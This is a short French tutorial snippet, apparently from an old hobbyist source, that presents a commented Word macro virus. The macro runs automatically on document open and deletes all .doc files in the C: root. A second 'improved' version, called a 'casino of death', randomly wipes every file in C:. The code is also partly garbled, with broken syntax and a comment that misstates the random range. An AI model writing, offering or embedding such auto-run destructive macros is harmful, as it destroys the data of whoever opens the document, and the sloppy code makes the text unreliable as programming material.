Voici un exemple de programme commente (les commentaires sont précède d'une " ' " ) :
sub autoOpen ()''macrovirus
'macro enregistree le 0/0/00 par tRaSH'
msgBox "voici une macro " 'affiche l'avertissement "voici une
macro "
kill "c : \*. doc " 'detruit tous les fichiers doc present dans la
racine
msgBox " systeme bloque ", SystemModal + vbOKCancel " 'affiche
'l'avertissement
" systeme bloque " et 'bloque tout le
systeme tant que l'on n'a 'pas clicke sur ok ou annuler
num = int(rnd * 10) 'tire un nombre au hazard compris entre 1 et 20
msgBox num 'affiche le nombre tire au hasardendOn peut faire mieux :
Sub autoOpen ()Num = int(rnd * 10)If num = 6 then kill "c : \*. * "
Else msgBox "tu as de la chance
"End
Ce programme est une sorte de casino de la mort, a ne surtout pas envoyer à des personnes non averties.